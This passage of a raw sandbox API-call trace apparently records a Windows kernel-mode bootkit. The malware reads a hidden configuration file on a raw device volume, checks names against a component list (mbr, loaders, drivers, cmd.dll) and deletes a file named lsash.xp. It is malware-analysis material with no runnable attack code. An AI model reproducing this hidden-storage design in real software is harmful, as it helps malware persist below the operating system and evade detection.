(FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.011] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.011] KeLeaveCriticalRegion () [0127.011] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.011] KeEnterCriticalRegion () [0127.011] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.011] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0127.011] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80037da8c0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0127.011] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.012] KeLeaveCriticalRegion () [0127.012] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.012] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.012] KeEnterCriticalRegion () [0127.012] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.012] ExFreePoolWithTag (P=0xfffffa80037da590, Tag=0x0) [0127.012] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.012] KeLeaveCriticalRegion () [0127.012] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.012] ReleaseMutex (hMutex=0xf0) returned 1 [0127.012] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0127.012] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0127.012] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.012] KeEnterCriticalRegion () [0127.012] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.012] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.012] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.012] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.012] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0127.012] IdePortDispatch () returned 0x103 [0127.012] KeWaitForMutexObject () returned 0x0 [0127.012] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.012] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.012] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.013] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0127.013] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0127.013] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bfad30 [0127.013] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.013] KeLeaveCriticalRegion () [0127.013] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.013] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.013] KeEnterCriticalRegion () [0127.013] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.013] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.013] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.013] KeLeaveCriticalRegion () [0127.013] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.013] KeEnterCriticalRegion () [0127.013] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.013] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.013] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.013] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.013] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0127.013] IdePortDispatch () returned 0x103 [0127.013] KeWaitForMutexObject () returned 0x0 [0127.013] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.013] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.013] KeLeaveCriticalRegion () [0127.013] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.014] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.014] KeEnterCriticalRegion () [0127.014] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.014] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b4d000 [0127.014] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.014] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.014] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.014] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0127.014] IdePortDispatch () returned 0x103 [0127.014] KeWaitForMutexObject () returned 0x0 [0127.014] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.014] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.014] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.014] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.014] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0127.014] IdePortDispatch () returned 0x103 [0127.014] KeWaitForMutexObject () returned 0x0 [0127.014] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.015] KeLeaveCriticalRegion () [0127.015] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.015] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.015] KeEnterCriticalRegion () [0127.015] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.015] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.015] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.015] KeLeaveCriticalRegion () [0127.015] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.015] KeEnterCriticalRegion () [0127.015] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.015] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0127.015] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80037da6a0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0127.015] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.015] KeLeaveCriticalRegion () [0127.015] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.016] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.016] KeEnterCriticalRegion () [0127.016] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.016] ExFreePoolWithTag (P=0xfffffa8003bfad30, Tag=0x0) [0127.016] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.016] KeLeaveCriticalRegion () [0127.016] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.016] ReleaseMutex (hMutex=0xf0) returned 1 [0127.016] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0127.016] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0127.016] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.016] KeEnterCriticalRegion () [0127.016] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.016] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.016] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.016] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.016] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0127.016] IdePortDispatch () returned 0x103 [0127.017] KeWaitForMutexObject () returned 0x0 [0127.017] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.017] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.017] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.017] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0127.017] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0127.017] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf5220 [0127.017] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.017] KeLeaveCriticalRegion () [0127.017] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.017] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.017] KeEnterCriticalRegion () [0127.017] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.017] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.017] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.017] KeLeaveCriticalRegion () [0127.017] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.017] KeEnterCriticalRegion () [0127.017] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.017] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.017] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.017] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.017] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0127.017] IdePortDispatch () returned 0x103 [0127.018] KeWaitForMutexObject () returned 0x0 [0127.018] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.018] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.018] KeLeaveCriticalRegion () [0127.018] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.018] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.018] KeEnterCriticalRegion () [0127.018] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.018] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b4e000 [0127.018] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.018] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.018] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.018] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0127.018] IdePortDispatch () returned 0x103 [0127.018] KeWaitForMutexObject () returned 0x0 [0127.018] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.018] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.018] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.018] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.019] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0127.019] IdePortDispatch () returned 0x103 [0127.019] KeWaitForMutexObject () returned 0x0 [0127.019] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.019] KeLeaveCriticalRegion () [0127.019] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.019] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.020] KeEnterCriticalRegion () [0127.020] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.020] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.020] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.020] KeLeaveCriticalRegion () [0127.020] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.020] KeEnterCriticalRegion () [0127.020] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.020] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0127.020] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf52e0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0127.020] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.020] KeLeaveCriticalRegion () [0127.020] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.020] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.020] KeEnterCriticalRegion () [0127.020] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.020] ExFreePoolWithTag (P=0xfffffa8003bf5220, Tag=0x0) [0127.020] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.020] KeLeaveCriticalRegion () [0127.020] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.020] ReleaseMutex (hMutex=0xf0) returned 1 [0127.020] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0127.020] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0127.020] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0127.020] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0127.020] KeEnterCriticalRegion () [0127.020] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.020] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.020] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.020] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.020] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0127.020] IdePortDispatch () returned 0x103 [0127.021] KeWaitForMutexObject () returned 0x0 [0127.021] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0127.021] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0127.021] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0127.021] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0127.021] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0127.021] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0127.021] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0127.021] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0127.021] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0127.021] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0127.021] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.021] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.021] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.021] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.021] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.021] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.021] KeLeaveCriticalRegion () [0127.021] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.021] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0127.021] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0127.021] KeEnterCriticalRegion () [0127.021] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.021] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.021] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.021] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.021] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0127.022] IdePortDispatch () returned 0x103 [0127.022] KeWaitForMutexObject () returned 0x0 [0127.022] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0127.022] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0127.022] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0127.022] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0127.022] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0127.022] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0127.022] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0127.022] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0127.022] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0127.022] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0127.022] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.022] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.022] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.022] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.022] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.022] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.022] KeLeaveCriticalRegion () [0127.022] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.022] ReleaseMutex (hMutex=0x100) returned 1 [0127.022] Sleep (dwMilliseconds=0x2bf20) [0127.032] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6ee97470, dwHighDateTime=0x1d24fa4)) [0127.032] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0127.032] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0127.032] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0127.032] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.032] KeEnterCriticalRegion () [0127.032] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.032] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.032] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.032] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.032] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0127.032] IdePortDispatch () returned 0x103 [0127.032] KeWaitForMutexObject () returned 0x0 [0127.032] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.032] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.032] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.032] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0127.032] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0127.032] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bfad30 [0127.032] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.032] KeLeaveCriticalRegion () [0127.032] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.032] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.032] KeEnterCriticalRegion () [0127.033] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.033] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.033] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.033] KeLeaveCriticalRegion () [0127.033] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.033] KeEnterCriticalRegion () [0127.033] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.033] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.033] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: 